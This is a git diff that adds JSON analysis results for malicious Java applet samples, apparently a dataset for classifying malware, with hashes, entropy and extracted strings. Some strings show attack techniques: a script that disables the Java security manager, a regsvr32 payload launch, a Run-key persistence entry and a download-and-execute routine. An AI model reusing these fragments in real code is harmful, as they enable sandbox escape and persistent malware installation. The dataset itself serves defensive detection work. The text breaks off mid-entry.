b/java_classification/data/malicious/275a829ec1ac0ec7ac54c9e7d5d3df9ad646fee9582e9591942fdb9a8ffecfeb.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 50, "class_name": "a038cea361b", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "interfaces": ["java/io/Serializable"], "sourcefile": "a038cea361b.java", "method_names": ["", "readObject", "getFullPd", "getPermissions", "findClass", "autoLoadClass"], "minor_version": 0, "const_pool_count": 229}}, "_id": "f2fb015f-964a-4d6e-a23d-7da6b25bb5b5", "verbose": {"java": {"constant strings": ["_220466cb66be7bf", "", "a0409852757", "_0e395e4d0774e11f0", "a5d52312bb3", "__o", "_f61a1b435ccaa", "_aba74fe57d2ee8d5b", "_6811265d4d7ab6407", "_8b6f1ead9b59d30", "_ae8ab23fc57d9a0df", "_9c4b36564e5fce", "_c0722e98c8dd6d8", "_548c870c11d8325", "_ea4c6824021252a3", "_9318444ad7106", "_ff58c6cb412a1d4", "_70b3a2b249007b65e", "_e8d95583ca76562f", "_b24cca7f58d37af1d", "_b660f6076c58308", "_1c980e406495e", "_e572d21821af27", ".class"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "35579759b122efe8fe2231a9c897d97690d8c19d", "file_name": "java_malicious/275a829ec1ac0ec7ac54c9e7d5d3df9ad646fee9582e9591942fdb9a8ffecfeb", "_id": "f2fb015f-964a-4d6e-a23d-7da6b25bb5b5", "score": 0, "entropy": 5.978050064752996, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 4723, "ssdeep": "96:MBotIFliEE1sz3uuwa5/ykmU7rUr1jdSMdjGjviU5+:MBot6lE1sHZpEj52+", "sha256": "275a829ec1ac0ec7ac54c9e7d5d3df9ad646fee9582e9591942fdb9a8ffecfeb", "md5": "b7023d675ea8d93c95c7aa05fa684014", "parent_sha256": "275a829ec1ac0ec7ac54c9e7d5d3df9ad646fee9582e9591942fdb9a8ffecfeb"}} \ No newline at end of file diff --git a/java_classification/data/malicious/278706cb841f082ddbbc4f3c13e7e24db83d041b4a684563a722cdbb09acdaf7.results b/java_classification/data/malicious/278706cb841f082ddbbc4f3c13e7e24db83d041b4a684563a722cdbb09acdaf7.results new file mode 100755 index 0000000..6c53c25 --- /dev/null +++ b/java_classification/data/malicious/278706cb841f082ddbbc4f3c13e7e24db83d041b4a684563a722cdbb09acdaf7.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "a/fhpyhispan", "access_permissions": ["ACC_SUPER"], "major_version": 49, "method_names": ["", "zcepqycgdw", ""], "minor_version": 0, "const_pool_count": 446}}, "_id": "ac1699a5-1bdd-46cc-ad5d-82f252ef435f", "metadata": {"mimetype": "application/x-java-applet", "sha1": "c0099cc60910a14eeaaa1aa5c6b16dcaa2bb99ce", "file_name": "java_malicious/278706cb841f082ddbbc4f3c13e7e24db83d041b4a684563a722cdbb09acdaf7", "_id": "ac1699a5-1bdd-46cc-ad5d-82f252ef435f", "score": 0, "entropy": 5.19578210983788, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 6905, "ssdeep": "192:Tlf9iqoggjQljvpVxhi/To55UTYwa5hGX1:BVMcltVyTofUTkc1", "sha256": "278706cb841f082ddbbc4f3c13e7e24db83d041b4a684563a722cdbb09acdaf7", "md5": "34e21a14cbeb4f6ea5fbd00827465131", "parent_sha256": "278706cb841f082ddbbc4f3c13e7e24db83d041b4a684563a722cdbb09acdaf7"}} \ No newline at end of file diff --git a/java_classification/data/malicious/292ab401829bc202aeadf4773c22b246c4af22404a4afa7b535a03cb7957eb9a.results b/java_classification/data/malicious/292ab401829bc202aeadf4773c22b246c4af22404a4afa7b535a03cb7957eb9a.results new file mode 100755 index 0000000..da67be8 --- /dev/null +++ b/java_classification/data/malicious/292ab401829bc202aeadf4773c22b246c4af22404a4afa7b535a03cb7957eb9a.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "yCZonGvz.java", "class_name": "yCZonGvz", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["", "iVSvIvks"], "minor_version": 0, "const_pool_count": 66}}, "_id": "e66a9175-e400-4f92-a6c3-653efe12d54f", "verbose": {"java": {"constant strings": ["G}", "\\x08\\x08\\x08{\\x06\\x1b\\x06", "\\n", "C^CESRC", ""]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "c2f2238f7db18eb453bb6488e14d4ca69653b719", "file_name": "java_malicious/292ab401829bc202aeadf4773c22b246c4af22404a4afa7b535a03cb7957eb9a", "_id": "e66a9175-e400-4f92-a6c3-653efe12d54f", "score": 0, "entropy": 5.8642430444174325, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 1554, "ssdeep": "24:RTKGxyQulhArbqfrB0RGPpHRg/GpRNTaJxuuFDZutnrC36CgQk:5dxyFlhObqf2RMlT+Jxuu94G7rk", "sha256": "292ab401829bc202aeadf4773c22b246c4af22404a4afa7b535a03cb7957eb9a", "md5": "7ece817c75b4e9d0739f9480207900da", "parent_sha256": "292ab401829bc202aeadf4773c22b246c4af22404a4afa7b535a03cb7957eb9a"}} \ No newline at end of file diff --git a/java_classification/data/malicious/29851ee105ceb0d013384d48b018f33509cd3fe312c432ebfa93fc43f4106317.results b/java_classification/data/malicious/29851ee105ceb0d013384d48b018f33509cd3fe312c432ebfa93fc43f4106317.results new file mode 100755 index 0000000..d18e9d7 --- /dev/null +++ b/java_classification/data/malicious/29851ee105ceb0d013384d48b018f33509cd3fe312c432ebfa93fc43f4106317.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Jeiso.java", "class_name": "Jeiso", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": ["", "Vbut", "Nespi", ""], "minor_version": 0, "const_pool_count": 123}}, "_id": "030ed506-14e1-4059-8281-4954366aa5e1", "verbose": {"java": {"JAVA String Analysis": {"obfuscated_data": {"signatures": {"java": "rot0"}}}, "constant strings": ["", "java.io.BytWeArWrayOWutputStWreWam", "wr", "ite"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "e678ede32ec3407ec3e35fd11d33e66e96dc38b4", "file_name": "java_malicious/29851ee105ceb0d013384d48b018f33509cd3fe312c432ebfa93fc43f4106317", "_id": "030ed506-14e1-4059-8281-4954366aa5e1", "score": 0, "entropy": 5.4550669882582925, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 1852, "ssdeep": "48:em/GCyFl0xj36tOeBITx3ps0VPgBI52ZIHuTll6yeJ:emWFl2nYyTYl6NJ", "sha256": "29851ee105ceb0d013384d48b018f33509cd3fe312c432ebfa93fc43f4106317", "md5": "f59389fcebd045dbd1823f3852aa3612", "parent_sha256": "29851ee105ceb0d013384d48b018f33509cd3fe312c432ebfa93fc43f4106317"}} \ No newline at end of file diff --git a/java_classification/data/malicious/298f01e09c784bbf77e650648aa93db8a3c4b244d360bb0a3e6afcc8953a70ff.results b/java_classification/data/malicious/298f01e09c784bbf77e650648aa93db8a3c4b244d360bb0a3e6afcc8953a70ff.results new file mode 100755 index 0000000..4592095 --- /dev/null +++ b/java_classification/data/malicious/298f01e09c784bbf77e650648aa93db8a3c4b244d360bb0a3e6afcc8953a70ff.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "ggXQmAX", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["lGAV", "hhGyCRl", "VjbR", ""], "minor_version": 0, "const_pool_count": 143}}, "_id": "9b0bb6e0-d5a8-4f10-a7cf-31c5fb0decc2", "verbose": {"java": {"constant strings": ["q54QQjava.awt.i", "3HJmage", "AnAA8.SinglePix", "elPack", "ZZ9bnedSampleM", "odeL", "9ZhZgetMa", "sKs", "1-XHNBZ00", "", "Z0R-IHN1", "7"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "884122493dbe24dce8963f0b5b8757588aca3b59", "file_name": "java_malicious/298f01e09c784bbf77e650648aa93db8a3c4b244d360bb0a3e6afcc8953a70ff", "_id": "9b0bb6e0-d5a8-4f10-a7cf-31c5fb0decc2", "score": 0, "entropy": 5.6949351126892775, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 2300, "ssdeep": "48:WLjQkCsQgSdM80rcHgTkkH24iZOoja3h2cjSu/L4ix:yRQgXcHDgGwB", "sha256": "298f01e09c784bbf77e650648aa93db8a3c4b244d360bb0a3e6afcc8953a70ff", "md5": "1f3085ddbe44f6835ab53133a865281a", "parent_sha256": "298f01e09c784bbf77e650648aa93db8a3c4b244d360bb0a3e6afcc8953a70ff"}} \ No newline at end of file diff --git a/java_classification/data/malicious/29d75c5a9f100db982e8ef210203c8615a989ead08668669da859754d0acc56f.results b/java_classification/data/malicious/29d75c5a9f100db982e8ef210203c8615a989ead08668669da859754d0acc56f.results new file mode 100755 index 0000000..f875fec --- /dev/null +++ b/java_classification/data/malicious/29d75c5a9f100db982e8ef210203c8615a989ead08668669da859754d0acc56f.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "web", "access_permissions": ["ACC_PUBLIC", "ACC_FINAL", "ACC_SUPER"], "major_version": 49, "method_names": ["main", "", "qhcLgcoXnGlsH"], "minor_version": 0, "const_pool_count": 282}}, "_id": "0a5164d5-5a60-47ed-8171-707b6eca43d6", "verbose": {"java": {"JAVA String Analysis": {"files": [{"characteristics": {"pefile": {"error": "(Exception):, \\'DOS Header magic not found.\\'"}}, "_id": "dcc109e1-2a98-4f78-b962-c52b76127a11", "metadata": {"mimetype": "application/octet-stream", "sha1": "d699b30e138a91eeb3e230d72b114cdc80adaf41", "file_name": "long string 0", "_id": "dcc109e1-2a98-4f78-b962-c52b76127a11", "score": 0, "entropy": 3.9732855722661107, "libmagic": "data", "file_size": 589, "ssdeep": "12:gw+++++mLLh3MhXJCnm9rBMPLLnlo9qKLLbTbhLLc9+++++s:gw+++++mLLh38XJCm9rBMPLLlo9RLLfw", "sha256": "d1ea4637cb70298f035837e5ab192ec6bcc29fb494786e404551b56bc9681386", "md5": "aa1589185e8306934dbe5098bcc7b965", "parent_sha256": "29d75c5a9f100db982e8ef210203c8615a989ead08668669da859754d0acc56f"}}], "combined strings entropy": 5.086010110451346}, "constant strings": ["", "+\\x1b\\x1b\\t\\t\\x0e\\x0e\\x01\\x01\\r\\r\\x05\\x05\\x02\\x02\\x1b\\x1b\\t\\t\\x0e\\x0e\\x01\\x01\\r\\r\\x05\\x05\\x02\\x02\\x1b\\x1b\\t\\t\\x0e\\x0e\\x01\\x01\\r\\r\\x05\\x05\\x02\\x02\\x1b\\x1b\\t\\t\\x0e\\x0e(\\x01\\x0e\\x0e\\x06\\x06\\x01\\x01\\x18\\x18\\n\\n\\r\\r\\x02\\x02\\x0e\\x0e\\x06\\x06\\x01\\x01\\x18\\x18\\n\\n\\r\\r\\x02\\x02\\x0e\\x0e\\x06\\x06\\x01\\x01\\x18\\x18\\n\\n\\r\\r\\x02\\x02\\x0e\\x0e\\x06\\x06\\x02+\\x1b\\x18\\n\\n\\r\\r\\x02\\x02\\x0e\\r\\x05\\x06\\x02\\x01\\x18\\x18\\t\\n\\r\\r\\x02\\x01\\r\\x0e\\x05\\x05\\x02\\x01\\x1b\\x1b\\t\\n\\x0e\\x0e\\x02\\x02\\r\\r\\x05\\x06\\x01\\x01\\x18\\x18\\n\\n\\r\\x0e(\\x01\\x0e\\x0e\\x06\\x06\\x01\\x01\\x18\\x1b\\n\\t\\r\\x0e\\x02\\x02\\x0e\\r\\x06\\x06\\x01\\x02\\x18\\x1b\\n\\n\\x0e\\r\\x02\\x01\\x0e\\r\\x06\\x05\\x01\\x02\\x18\\x18\\t\\n\\r\\r\\x02\\x02\\x0e\\x0e\\x06\\x06\\x02+\\x1b\\x18\\n\\n\\r\\r\\x02\\x02\\r\\r\\x05\\x06\\x02\\x01\\x18\\x18\\t\\n\\r\\r\\x01\\x01\\r\\x0e\\x06\\x05\\x01\\x01\\x1b\\x18\\t\\n\\x0e\\x0e\\x02\\x02\\x0e\\r\\x06\\x06\\x01\\x01\\x18\\x18\\n\\n\\r\\x0e(\\x01\\x0e\\x0e\\x06\\x06\\x01\\x01\\x18\\x1b\\n\\t\\r\\x0e\\x01\\x01\\x0e\\r\\x05\\x05\\x01\\x02\\x18\\x1b\\n\\n\\x0e\\r\\x02\\x01\\r\\r\\x06\\x05\\x01\\x02\\x18\\x1b\\t\\t\\r\\r\\x02\\x02\\x0e\\x0e\\x06\\x06\\x02+\\x1b\\x18\\n\\n\\r\\r\\x02\\x02\\x0e\\x0e\\x06\\x06\\x01\\x01\\x18\\x18\\n\\n\\r\\r\\x02\\x02\\x0e\\x0e\\x06\\x06\\x01\\x01\\x18\\x18\\n\\n\\r\\r\\x02\\x02\\x0e\\x0e\\x06\\x06\\x01\\x01\\x18\\x18\\n\\n\\r\\x0e(\\x01\\x0eaD@TR[Y^CBC\\x02@W\\x0egJM@LWXC\\rb@D[]EGUNJ\\x18\\\\\\x1e\\x03\\x19\\x02fkci\\x06\\x02+\\x1b\\x18\\n\\n\\r\\r\\x02\\x02\\x0e\\x0e\\x06\\x06\\x01\\x01\\x18\\x18\\n\\n\\r\\r\\x02\\x02\\x0e\\x0e\\x06\\x06\\x01\\x01\\x18\\x18\\n\\n\\r\\r\\x02\\x02\\x0e\\x0e\\x06\\x06\\x01\\x01\\x18\\x18\\n\\n\\r\\x0e(\\x01\\x0e\\x0e\\x06\\x06\\x01\\x01\\x18\\x18\\n\\n\\rEVV^\\x14\\t\\tVVO\\x16KFALVM\\\\G\\x08ENL\\x18\\x18\\n\\n\\r\\r\\x02\\x02\\x0e\\x0e\\x06\\x06\\x02+\\x1b\\x18\\n\\n\\r\\r\\x02\\x02\\x0e\\x0e\\x06\\x06\\x01\\x01\\x18\\x18\\n\\n\\r\\r\\x02\\x02\\x0e\\x0e\\x06\\x06\\x01\\x01\\x18\\x18\\n\\n\\r\\r\\x02\\x02\\x0e\\x0e\\x06\\x06\\x01\\x01\\x18\\x18\\n\\n\\r\\x0e(\\x01\\r\\r\\x05\\x05\\x02\\x02\\x1b\\x1b\\t\\t\\x0e\\x0e\\x01\\x01\\r\\r\\x05\\x05\\x02\\x02\\x1b\\x1b\\t\\t\\x0e\\x0e\\x01\\x01\\r\\r\\x05\\x05\\x02\\x02\\x1b\\x1b\\t\\t\\x0e\\x0e\\x01\\x01\\r\\r\\x05\\x05\\x02+", "BYYR\\x18\\x01\\x01ENDBSQZ\\x04ITLF@]\\x08ENL", "x^GP\\x03oACOU", "uEPDANC\\x01\\x1a\\x08\\x16\\x01\\t[WGZLYK@BK\\x1d\\x06lrq}\\n\\x1c\\x03\\x1d\\x19\\x02yGHBNVK\\x18d~\\r\\x18\\x0c\\x13\\x15\\x0eup\\x10\\x08", "\\x06u\\x16\\x0b\\x18|C\\t\\x06\\x19Pq\\x0cy\\x1e\\x03\\x1f{Z\\x10\\x14\\x0bWv\\x03v\\x12\\x0f\\x17s]\\x17\\r\\x12Ed\\x04q\\x1d\\xc0\\x80\\x1b\\x7fU\\x1f\\n\\x15\\\\\\x08", "ke\\x14", "Xeg", "c|m`its", "Y^_HCO\\xc0\\x80MJGRR", "\\x03", "\\x08ELE", "\\x18\\\\KVC@U2xNOA\\r\\x07\\x13$nO@\\x01D@QY^\\r\\x08\\x13\\x02IARI\\x01S]HOKY\\'bFKB\\x06\\x03\\x11+", "\\x04\\x01\\x03"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "fe1bbe62709299f4773045a7e6aa13df03c9ea1d", "file_name": "java_malicious/29d75c5a9f100db982e8ef210203c8615a989ead08668669da859754d0acc56f", "_id": "0a5164d5-5a60-47ed-8171-707b6eca43d6", "score": 0, "entropy": 6.116496181006745, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 4853, "ssdeep": "96:RX/2M2YxnmD37YeefWfiBVLLhMuPLLARLLThLLcYPVjS81/T3jm:RX/H2YxmD37YZfWfiBVLLhlLLeLLThL0", "sha256": "29d75c5a9f100db982e8ef210203c8615a989ead08668669da859754d0acc56f", "md5": "3f3d49e2f6facb626f2933056cb1983e", "parent_sha256": "29d75c5a9f100db982e8ef210203c8615a989ead08668669da859754d0acc56f"}} \ No newline at end of file diff --git a/java_classification/data/malicious/2a65a919494122e636bf040feb91462a6f99d3131a21144880b1b4c3e928af39.results b/java_classification/data/malicious/2a65a919494122e636bf040feb91462a6f99d3131a21144880b1b4c3e928af39.results new file mode 100755 index 0000000..6e325a3 --- /dev/null +++ b/java_classification/data/malicious/2a65a919494122e636bf040feb91462a6f99d3131a21144880b1b4c3e928af39.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "Lib", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": ["", "init", "Psokr", "GDe", ""], "minor_version": 0, "const_pool_count": 201}}, "_id": "8a483a25-a84e-40dd-b3b6-c7686d99eed7", "verbose": {"java": {"JAVA String Analysis": {"obfuscated_data": {"signatures": {"java": "rot0"}}}, "constant strings": ["param", "java.version", "_", "1.7.0_", "1.6.0_", "os.arch", "", "64"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "f09e13ab81e220b738c8c61bc4455326f99adeb0", "file_name": "java_malicious/2a65a919494122e636bf040feb91462a6f99d3131a21144880b1b4c3e928af39", "_id": "8a483a25-a84e-40dd-b3b6-c7686d99eed7", "score": 0, "entropy": 5.894970454644328, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 3229, "ssdeep": "48:go5k1udT3CecXbETXyK6zeWdUiLi8+pBPy/OX1CDrbJ0qBvJXtuyUnUwPl:gYk1uFWXAOKMeWdaRyIG0qBvLOd", "sha256": "2a65a919494122e636bf040feb91462a6f99d3131a21144880b1b4c3e928af39", "md5": "dd2748c875e9f90e378c339465dd7335", "parent_sha256": "2a65a919494122e636bf040feb91462a6f99d3131a21144880b1b4c3e928af39"}} \ No newline at end of file diff --git a/java_classification/data/malicious/2a7e602b3c43ec37386f9242820acda55cd7ecc92edc59db3b38c918e14d0b98.results b/java_classification/data/malicious/2a7e602b3c43ec37386f9242820acda55cd7ecc92edc59db3b38c918e14d0b98.results new file mode 100755 index 0000000..1ee39b2 --- /dev/null +++ b/java_classification/data/malicious/2a7e602b3c43ec37386f9242820acda55cd7ecc92edc59db3b38c918e14d0b98.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "ezRpjHCtE.java", "class_name": "ezRpjHCtE", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": ["", "init", "callBack", "getFilePath", "order", "add", "replace", "con"], "minor_version": 0, "const_pool_count": 242}}, "_id": "4c695f1b-2142-4355-8405-3e2a4d93024f", "verbose": {"java": {"JAVA String Analysis": {"combined strings entropy": 4.795080984640658, "obfuscated_data": {"signatures": {"java": "rot0"}, "base64": {"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/": "exec"}}}, "constant strings": ["this.toString = function() { \\tjava.lang.System.setSecurityManager(null); applet.callBack(); return \\'\\';};c = new Error();c.message = this;c", "js", "applet", "", "p", "openStream", "close", "exec", "regsvr32 -s \"", "\"", "java.io.tmpdir", ".exe"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "e8b24f54111b8a3a80b6b706c3eb85932258e99b", "file_name": "java_malicious/2a7e602b3c43ec37386f9242820acda55cd7ecc92edc59db3b38c918e14d0b98", "_id": "4c695f1b-2142-4355-8405-3e2a4d93024f", "score": 0, "entropy": 5.748349178422388, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 4238, "ssdeep": "48:PAdtwHLyFlP6NlBAj8A/i6vll3dgPQM/0nZo6gkDzLyUpsFdEGp3qs0/265iURqf:IVFlPiojv66j3dgroXhjyffEO3MiJf", "sha256": "2a7e602b3c43ec37386f9242820acda55cd7ecc92edc59db3b38c918e14d0b98", "md5": "67a0502413d9f0db00db4592f4d4eddf", "parent_sha256": "2a7e602b3c43ec37386f9242820acda55cd7ecc92edc59db3b38c918e14d0b98"}} \ No newline at end of file diff --git a/java_classification/data/malicious/2aa1c512b0a0e5b758c22293ff6b6531ac010739bbf630db507facec931f844a.results b/java_classification/data/malicious/2aa1c512b0a0e5b758c22293ff6b6531ac010739bbf630db507facec931f844a.results new file mode 100755 index 0000000..55492de --- /dev/null +++ b/java_classification/data/malicious/2aa1c512b0a0e5b758c22293ff6b6531ac010739bbf630db507facec931f844a.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Main.java", "class_name": "Main", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 48, "method_names": ["", "init"], "minor_version": 0, "const_pool_count": 109}}, "_id": "81b8fe23-6fbc-40d9-a4a1-6e15e4677c40", "verbose": {"java": {"constant strings": ["Y0000000000000000I1ZjA,XP,0A,0A,kA,AQ,2A,B2,BB,0B,BA,BX,P8,AB,uJ,IJ,0N,pL,Pl,PL,PL,PZ,0Z,0k,YK,Ku,Pw,ps,03,oU,4y,1t,pu,PC,0U,Pl,KQ,P6,lN,k2,Pg,lL,mn,kQ,xu,pO,pS,M4,LP,3S,DU,So,fX,kI,cN,k5,8v,hL,Kz,Ws,Zw,tf,9J,HN,ow,pu,P5,Px,bJ,Y1,xB,Or,NC,0C,0U,80,u2,Rp,lP,ms,dK,OF,vL,KY,xz,HR,Yc,0u,PG,pl,Kx,Wr,gK,0W,Ou,PS,Ex,z1,WV,7Q,WM,P5,ow,p0,uK,Jn,kH,oq,OV,So,9M,Qz,Le,TW,qC,07,pl,KY,L0,Qc,bR,se,8V,d5,QW,p7,py,o2,vv,lQ,J2,y0,Qp,Rn,k6,bP,SQ,SO,p7,Kg,pb,Uy,jm,Qs,KK,L6,Ne,5T,8u,5d,5W,sO,sX,kc,8M,Yt,Ci,Ws,st,DT,nq,uq,hs,Uo,6Q,SW,xw,pC,kl,Jz,au,Tt,pm,Xr,e5,PP,3k,p2,p0,Pp,SV,7p,Pk,OS,fD,Pl,Cx,xE,P3,EW,v1,zf,aS,cy,oP,VV,dp,Zb,yM,So,25,TQ,Qo,p6,ZU,PQ,eO,Dk,Op,Ve,XR,qR,vl,KP,uw,LN,kp,tu,e2,Xg,sZ,UV,6N,kt,6e,pE,SX,uv,SK,y3,yq,QN,Mv,cK,ud,sK,kd,OO,NT,P0,8l,2s,Dg,xj,aX,Kv,mt,Cz,zc,pX,kJ,Qw,Kg,o3,EM,7Q,NN,kQ,NU,td,Ck,m3,VN,kF,lP,KN,k3,nE,L6,ci,ML,Kw,tn,k4,CO,5l,k1,Nr,yY,SI,xc,0k,Oy,o9,oL,NB,nT,NZ,LJ,89,nM,Zd,Nc,Nn,8J,B1,cu,cy,ZN,ja,Kt,vw,jv,OR,Pr,MR,YC,t2,r1,tq,Y2,La,wG,pS,Xc,D0,tb,Pd,zF,O6,OQ,ws,QS,RQ,q2,NE,1v,Np,iR,N1,vp,o6,Or,PQ,qa,wp,e4,oP,nR,ER,WF,NP,pU,80,pT,oR,N0,06,Pu,he,a6,P6,VP,2F,PV,Qd,sD,qe,hQ,bt,pT,tf,PV,Y2,jF,Pp,f6,PT,pv,PU,fF,Pp,1p,Rv,Y5,2t,t0,av,S7,Dp,0f,Xf,7e,ht,uV,PV,QQ,r6,Yq,uq,sb,xP,cv,Sp,85,4R,C5,hD,tt,wB,y7,Hp,f3,QQ,rq,ud,xS,Rt,q0,ZV,Pp,1d,pT,pQ,vv,PV,X4,p5,P3,0A,", "41,25,25,25,25", ",", "", "0000000000000000", "IIIIIIIIIIIIIIII", "71Z", "7QZ", "I1Z", "IQZ", "le:/", "/aac/", "fi", "X"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "f17f0a96e63980736694d23da9262e35a3532b48", "file_name": "java_malicious/2aa1c512b0a0e5b758c22293ff6b6531ac010739bbf630db507facec931f844a", "_id": "81b8fe23-6fbc-40d9-a4a1-6e15e4677c40", "score": 0, "entropy": 6.021139212778274, "libmagic": "compiled Java class data, version 48.0 (Java 1.4)", "file_size": 3214, "ssdeep": "48:kJ8PezbtVGD4yFlcwM+sJcmS26lpXVCqa5AOFRI4FxMRBHA2Bnx8nvnDc8ime0ru:RwbjG9FlgJZT6lpsSOWLg26LNimeEu", "sha256": "2aa1c512b0a0e5b758c22293ff6b6531ac010739bbf630db507facec931f844a", "md5": "06f1659051d632dea246f775b73f3c73", "parent_sha256": "2aa1c512b0a0e5b758c22293ff6b6531ac010739bbf630db507facec931f844a"}} \ No newline at end of file diff --git a/java_classification/data/malicious/2aa5cecbca658157d514a879b25c4b12270359e138779f0526ac588fef3f2e4c.results b/java_classification/data/malicious/2aa5cecbca658157d514a879b25c4b12270359e138779f0526ac588fef3f2e4c.results new file mode 100755 index 0000000..f9a01db --- /dev/null +++ b/java_classification/data/malicious/2aa5cecbca658157d514a879b25c4b12270359e138779f0526ac588fef3f2e4c.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "WindowsStartupService.java", "class_name": "WindowsStartupService", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": ["", "loadRegistryData", "convertToAsciz", "add", "Install", "main"], "minor_version": 0, "const_pool_count": 379}}, "_id": "afaa51c5-9565-434b-bc54-657eada76c72", "verbose": {"java": {"signatures": ["Ljava/util/Map;"], "constant strings": ["", "closeKey", "WindowsRegSetValueEx", "openKey", "HKEY_CURRENT_USER", "Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run", "KEY_ALL_ACCESS", "%20", " ", "/", "\\\\", "RUTA OBTENIDA USANDO LA CLASE: ", "appdata", ".jar", "ruta del achivo: ", "Leere el archovo", "Lei una patte", "Espesare a leeer", "Lei datos del stub para copiar", "\"", "java.home", "\\\\bin\\\\javaw.exe", " -jar", " \"", "Agregare:", "Entrada correctamente", "c:\\\\aaa.exe", "asdasa"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "ec30735c1cac2dbfa41b553fd8ec453da1c4f691", "file_name": "java_malicious/2aa5cecbca658157d514a879b25c4b12270359e138779f0526ac588fef3f2e4c", "_id": "afaa51c5-9565-434b-bc54-657eada76c72", "score": 0, "entropy": 5.894703252743689, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 6484, "ssdeep": "96:pPiKd60Fl67+KJpioi3vTbrolDKBLIpcJLkLq0Ix:pP76+lf0pivToRKJIyJLk200", "sha256": "2aa5cecbca658157d514a879b25c4b12270359e138779f0526ac588fef3f2e4c", "md5": "37f98ea146dad6b3c1aeec6aade0ba63", "parent_sha256": "2aa5cecbca658157d514a879b25c4b12270359e138779f0526ac588fef3f2e4c"}} \ No newline at end of file diff --git a/java_classification/data/malicious/2b01afb890d2465bbdc08a0eaaf13da33bd7e4a19aaefc1d0c2a3c58466f2614.results b/java_classification/data/malicious/2b01afb890d2465bbdc08a0eaaf13da33bd7e4a19aaefc1d0c2a3c58466f2614.results new file mode 100755 index 0000000..773af23 --- /dev/null +++ b/java_classification/data/malicious/2b01afb890d2465bbdc08a0eaaf13da33bd7e4a19aaefc1d0c2a3c58466f2614.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Gondcc.java", "class_name": "goaw20125076/Gondcc", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": ["", "mrun", "exec", "downFile"], "minor_version": 0, "const_pool_count": 191}}, "_id": "b5abe40f-a37f-42c6-9ee6-f7dffdd9a878", "verbose": {"java": {"JAVA String Analysis": {"combined strings entropy": 4.913021978635661, "obfuscated_data": {"signatures": {"java": "rot0"}, "base64": {"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/": "WyjJAt2NBQxLz5WC"}}}, "constant strings": ["WyjJAt2NBQxLz5WC", "11111", "woyouyizhixiaomaol", "conglaiyebuqi", "os.name", "java.io.tmpdir", "updata.exe", "Windows", "chmod 754 ", "1", "xx"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "273f1c5dd5beeaea432b6fe9e955c01e549e4c22", "file_name": "java_malicious/2b01afb890d2465bbdc08a0eaaf13da33bd7e4a19aaefc1d0c2a3c58466f2614", "_id": "b5abe40f-a37f-42c6-9ee6-f7dffdd9a878", "score": 0, "entropy": 5.686649434183005, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 3372, "ssdeep": "48:oXAy8kAl44lZF6Ini/LZQnUqx7C8JiBEwSTsy6ETg2A1AKt22iImEDf0sw6Pv5ch:c8kAlL4emSnZERqFMSiDf0s3Bc23kv", "sha256": "2b01afb890d2465bbdc08a0eaaf13da33bd7e4a19aaefc1d0c2a3c58466f2614", "md5": "1b0845284c3d939c3a02db2e761482aa", "parent_sha256": "2b01afb890d2465bbdc08a0eaaf13da33bd7e4a19aaefc1d0c2a3c58466f2614"}} \ No newline at end of file diff --git a/java_classification/data/malicious/2b0948121eb26e1acd6c986ed4a28c0d0a115f40b03b93b2ee0b52d21684d114.results b/java_classification/data/malicious/2b0948121eb26e1acd6c986ed4a28c0d0a115f40b03b93b2ee0b52d21684d114.results new file mode 100755 index 0000000..16da38b --- /dev/null +++ b/java_classification/data/malicious/2b0948121eb26e1acd6c986ed4a28c0d0a115f40b03b93b2ee0b52d21684d114.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "a/oyldqimccx", "access_permissions": ["ACC_SUPER"], "major_version": 49, "method_names": ["", "sectoff", "gclass", "sfld", "batois_rmethod", "spl", "getos_rmethod", "gobj", "xdel", "xxx", "invtwo_rmethod", "invone_rmethod", "invgotwo_rmethod", 